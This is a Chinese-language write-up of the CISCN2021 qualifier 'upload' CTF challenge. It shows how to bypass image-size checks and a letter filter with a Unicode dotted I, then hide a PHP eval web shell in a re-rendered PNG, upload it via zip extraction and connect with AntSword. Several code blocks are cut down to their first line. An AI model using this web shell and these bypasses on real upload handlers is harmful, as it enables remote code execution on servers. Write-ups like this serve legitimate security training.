[CISCN2021 Quals]upload
我们在页面中发现源码
1 | <?php |
通过审计代码,我们发现它限制了图片的大小,长宽,以及一些字母
$_FILES
会把上传的文件的各个部分保存到相应的键上,例如:第一个[]
内就是在客户端的定位,本题是postedFile
,也就是说本题要构造上传页面,<input type="file" name="postedFile">
,要这样提交。
1 | <input type="file" name="userfile"> |
getimagesize在接受任何图像文件的时候会把文件以数组类型保存
1 | Array |
那么第三个if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1)
我们就可以这样绕过
1 | #define width 1 |
由于代码过滤了c,i,h,所以常用的文件上传后缀都不能使用了
我们扫描目录发现还有个/example.php页面
1 |
|
这个页面的功能主要就是解压缩zip格式文件,并且重新渲染png文件也就是二次渲染。
那么也就是上传一个zip文件,但在upload.php中把i过滤了,可以用利用mb_strtolower
解析漏洞来unicode字符代替绕过。
1 | 可以利用一些unicode字符绕过。 |
为了绕过图片的二次渲染并实现木马的写入我们使用这个脚本。
https://github.com/huntergregal/PNG-IDAT-Payload-Generator/
我们首先要修改脚本中的payload
输出为16进制
1 | [<?=EVAL($_POST[1]); ?>X x后面有两个不可见字符,16进制编码后用00 00补上 |
然后我们修改脚本
运行脚本后,将得到的png文件后缀改为php,并解压为zip格式
我们写个文件上传页面
1 | <!DOCTYPE html> |
上传文件并抓包
由于文件将zip过滤了,我们将i用unicode字符代替再进行url编码后得到%c4%b0
1 | filename="a.z%c4%b0p" |
然后再在zip文件下加上
1 | #define width 1 |
上传成功后
我们访问examp.php解压文件
1 | /example.php?ctf=poc |
解压成功后,我们访问/examp/a.php
成功上传了,我们搁蚁剑连接
1 | /etc/fllagggaaaa/ejklwfthreu8rt/fgrtgergyer/ergerhrtytrh/rtehtrhytryhre/gfhtryrtgrewfre34t/t43ft34f/flag11e3kerjh3u |
再这里找到flag